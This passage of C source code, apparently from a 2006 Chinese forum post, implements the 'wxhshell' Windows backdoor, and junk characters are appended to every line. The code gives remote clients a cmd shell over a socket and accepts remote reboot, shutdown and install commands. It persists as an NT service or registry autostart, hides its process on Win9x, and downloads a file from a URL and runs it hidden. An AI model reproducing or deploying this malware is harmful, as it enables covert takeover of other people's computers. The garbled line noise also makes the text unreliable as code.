  case '?': { x40R)Led  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oJXZ}>>iT  
    break; :!{aey  
  } ,{zvGZ|  
  // 安装 MQ,$'Y5~H  
  case 'i': { | b@?]M  
    if(Install()) |Zkcs]8M!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !K`;fp!  
    else Xb6@;G"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vs6`oW"{#  
    break; /Rt/Efu  
    } YMqL,& Q{1  
  // 卸载 rr9HC]63  
  case 'r': { G)b]uX  
    if(Uninstall()) 8|yhe%-O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T5Pc2R  
    else ?&/9b)cS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aY3kww`  
    break; 9f BD.9A  
    } {L<t6A  
  // 显示 wxhshell 所在路径 #1m!,tC  
  case 'p': { ?]5wX2G^|J  
    char svExeFile[MAX_PATH]; /0@}7+&  
    strcpy(svExeFile,"\n\r"); q+ )KY  
      strcat(svExeFile,ExeFile); ,QG,tf?  
        send(wsh,svExeFile,strlen(svExeFile),0); Z/Mp=273  
    break; Za=<euc7  
    } :Z1_;`>CT  
  // 重启 yd>kJk^~/  
  case 'b': { Z\dILt:#z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lzm9ClkfH  
    if(Boot(REBOOT)) b\^Sz{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )OjbmU!7  
    else { UDp"+nS  
    closesocket(wsh); K8e>sU.  
    ExitThread(0); |wK)(s  
    } cH2 nG:H  
    break; TR ]lP<m  
    } {9C(\i +  
  // 关机 v SWqOv$  
  case 'd': { {/B) YR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s'LG3YV-<  
    if(Boot(SHUTDOWN)) R`s /^0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )NyGV!Zuu  
    else { t'[vN~I'  
    closesocket(wsh); JziMjR  
    ExitThread(0); !pDS*{)E  
    } D0"+E*   
    break; CsuSg*#X+  
    } H<1C5-  
  // 获取shell :()4eK/\  
  case 's': { wBeOMA  
    CmdShell(wsh); &dOV0y_  
    closesocket(wsh); Q[~O`Lz  
    ExitThread(0); p&ow\A O  
    break; P#Eqe O  
  } 'n>|jw)  
  // 退出 %f:'A%'Qb  
  case 'x': { g:f0K2)\r:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q:?g?v  
    CloseIt(wsh); 0imz }Z]  
    break; uy`U1>  
    } '# (lq5 c  
  // 离开 ?$r+#'asd(  
  case 'q': { 3&2,[G04  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U ][.ioc  
    closesocket(wsh); bF B;N+>  
    WSACleanup(); xn6E f"  
    exit(1); QjZ}*p  
    break; Ea P#~x  
        } +S3'ms  
  } %81tVhg  
  } `_<AZ{&&  
{P = {)  
  // 提示信息 ybYSz@7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MTLcLmdO  
} /Ee0S8!Z!1  
  } 2<B+ID3qv  
RA\H?1;8C  
  return; YjdH7.js  
} poXkH@[O  
-$T5@  
// shell模块句柄 :mg#&MZj<  
int CmdShell(SOCKET sock) Dvx"4EA{7{  
{ _@"Y3Lqi  
STARTUPINFO si; =U,;/f  
ZeroMemory(&si,sizeof(si)); Ylo@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kMI\GQW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ex@#!fz{%  
PROCESS_INFORMATION ProcessInfo; w#JF7;  
char cmdline[]="cmd"; ]8H;LgM2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -lAA,}&+!  
  return 0; c 6?5?_ne  
} ?m~x%[Vn  
+<3tv&"  
// 自身启动模式 c4; `3  
int StartFromService(void) ]v9<^!  
{ @aj"1 2  
typedef struct px-*uh<  
{ BwL: B\  
  DWORD ExitStatus; 071w o7  
  DWORD PebBaseAddress; FPcgQ v;p  
  DWORD AffinityMask; 65<p:  
  DWORD BasePriority; C?E;sRr0  
  ULONG UniqueProcessId; @${!C\([1  
  ULONG InheritedFromUniqueProcessId; @j^qT-0M  
}   PROCESS_BASIC_INFORMATION; ;9prsvf  
| C2k(  
PROCNTQSIP NtQueryInformationProcess; xt3IR0  
BJ&>'rc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pq4+n'uO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y %<B,3  
_~_Hup  
  HANDLE             hProcess; _ H@pYMNH  
  PROCESS_BASIC_INFORMATION pbi; H M76%9!  
jMw;`yh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3$y]#L  
  if(NULL == hInst ) return 0; Z#o o8  
moc_}(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); my04>6j0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *, {b]6v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n P69W  
=B?uNoe  
  if (!NtQueryInformationProcess) return 0; @&2T0UB  
!(o)*S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !\"C<*5  
  if(!hProcess) return 0; !CsoTW9C:  
SJy?^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f|b|\/.=  
QDgOprha  
  CloseHandle(hProcess); _`;6'}]s  
3Um\?fj>}(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o >W}1_  
if(hProcess==NULL) return 0; ?j $z[_K  
=-vk}O0C  
HMODULE hMod; "3\)@  
char procName[255]; +$v$P!),  
unsigned long cbNeeded; 9VP|a-  
|Yk23\!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b$B5sKQ  
}}Q|O]e  
  CloseHandle(hProcess); jh=:QP/  
1nvs51?H  
if(strstr(procName,"services")) return 1; // 以服务启动 6*]Kow?  
$?'z%a{  
  return 0; // 注册表启动 ^ S%4R'  
} UQTt;RS*zS  
bJe^x;J9  
// 主模块 Fd ]! 7  
int StartWxhshell(LPSTR lpCmdLine) uQ&xoDCB  
{ 4q~l ?*S  
  SOCKET wsl; nkG 6.  
BOOL val=TRUE; 3S.rIai+  
  int port=0; .j;My%)?p  
  struct sockaddr_in door; (xxJ^u>QC  
xorFz{  
  if(wscfg.ws_autoins) Install(); l~uRZLx  
~(yh0V  
port=atoi(lpCmdLine); Nzr zLK  
WM>9sJf  
if(port<=0) port=wscfg.ws_port; d/* [t!   
w0 "h,{  
  WSADATA data; m&; t;&#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >~ne(n4qy  
|7f}icXKur  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "e(OO/EZS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ss-Be  
  door.sin_family = AF_INET; Q[g%((DL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G q0~&6  
  door.sin_port = htons(port); ,Q}/#/  
7OW;o mT`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N;ssO,  
closesocket(wsl); wRLkO/Fw  
return 1; Kj'm<]u  
} Rfgc^3:j  
VJ1si0vWtq  
  if(listen(wsl,2) == INVALID_SOCKET) { ){gOb  
closesocket(wsl); (hmasy6hM  
return 1;  {kmaMP  
} )"f>cYF  
  Wxhshell(wsl); }F@`A?k  
  WSACleanup(); ;2bG-v'4vO  
eo,m ^&  
return 0; JfC.U,7Nc  
,ZH)[P)5P  
} ]YwIuz6]  
Y`c\{&M6  
// 以NT服务方式启动 =0m[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mu:Q2t^  
{ hbN*_[  
DWORD   status = 0; nY(jN D  
  DWORD   specificError = 0xfffffff; } |sP;Rpu  
PJb_QL!9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hJaqW'S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F\>`j   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i8A5m@,G  
  serviceStatus.dwWin32ExitCode     = 0; F,4Q  
  serviceStatus.dwServiceSpecificExitCode = 0; &A%#LVjf  
  serviceStatus.dwCheckPoint       = 0; xb1)ZJH  
  serviceStatus.dwWaitHint       = 0; 8xL-j2w  
8mx5K-/,y^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a@m>S$S  
  if (hServiceStatusHandle==0) return; /T_tI R>  
X'iki4  
status = GetLastError(); t}TtWI  
  if (status!=NO_ERROR) M*0&3Y Z  
{ J }JT%S W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1R,n[`}h  
    serviceStatus.dwCheckPoint       = 0; ty/jTo}  
    serviceStatus.dwWaitHint       = 0; \r<&7x#j  
    serviceStatus.dwWin32ExitCode     = status; ] niWRl  
    serviceStatus.dwServiceSpecificExitCode = specificError; !fz`O>-mZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oYOf<J  
    return; %s<7|,  
  } E%+V\ W%  
`[Lap=.' .  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -4X,x  
  serviceStatus.dwCheckPoint       = 0; \Z57UNI  
  serviceStatus.dwWaitHint       = 0; UVU}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^3*gf}  
} }S%a]  
2]Y (<PC  
// 处理NT服务事件,比如:启动、停止 {|> ~#a49h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !%5{jO1  
{ 1 w\Y ._jK  
switch(fdwControl) /\Q{i#v  
{ W%Um:C\I  
case SERVICE_CONTROL_STOP: h2,A cM  
  serviceStatus.dwWin32ExitCode = 0; yhUc]6`V.H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IK}T. *[  
  serviceStatus.dwCheckPoint   = 0; =m-_0xo  
  serviceStatus.dwWaitHint     = 0;  Ya=QN<  
  { )vPce  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .W?POJT  
  } nw\p3  
  return; PqvwM2}4  
case SERVICE_CONTROL_PAUSE: $aGK8%.O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5%G++oLXf  
  break; $\a;?>WA"  
case SERVICE_CONTROL_CONTINUE: Bt.W_p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =U@*adgw  
  break; U7:~@eYy  
case SERVICE_CONTROL_INTERROGATE: y@hdN=-  
  break; A7: oq7b  
}; *~fN^{B'!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4e*0kItC  
} %zX'u.}8#  
)rj.WK.  
// 标准应用程序主函数 f1\x>W4z~\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n1$##=wK]  
{ R HF;AX n  
Yh"Z@D[d  
// 获取操作系统版本 /G84T,H  
OsIsNt=GetOsVer(); So!1l7b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iY( hGlV  
G+5G,|}  
  // 从命令行安装 P.[>x  
  if(strpbrk(lpCmdLine,"iI")) Install(); {uckYx-A  
MTqbQ69v  
  // 下载执行文件 %DRDe  
if(wscfg.ws_downexe) { Ppx*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5[*MT%ms  
  WinExec(wscfg.ws_filenam,SW_HIDE); w.0.||C O  
} l~f +h?cF  
~\i uV  
if(!OsIsNt) { 5B98}N  
// 如果时win9x,隐藏进程并且设置为注册表启动 f \4Qp  
HideProc(); N ~ LR  
StartWxhshell(lpCmdLine); 40@KL$B=  
} m]u#Dm7h  
else J qU%$[w  
  if(StartFromService()) $p9XXZ"*  
  // 以服务方式启动 A+[wH(  
  StartServiceCtrlDispatcher(DispatchTable); 29Gej Lg |  
else Y,)9{T  
  // 普通方式启动 r3*wH1n  
  StartWxhshell(lpCmdLine); 6tnAE':  
OTV)#,occ  
return 0; :I&iDS>u1  
}
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只看该作者 1 发表于: 2006-10-10
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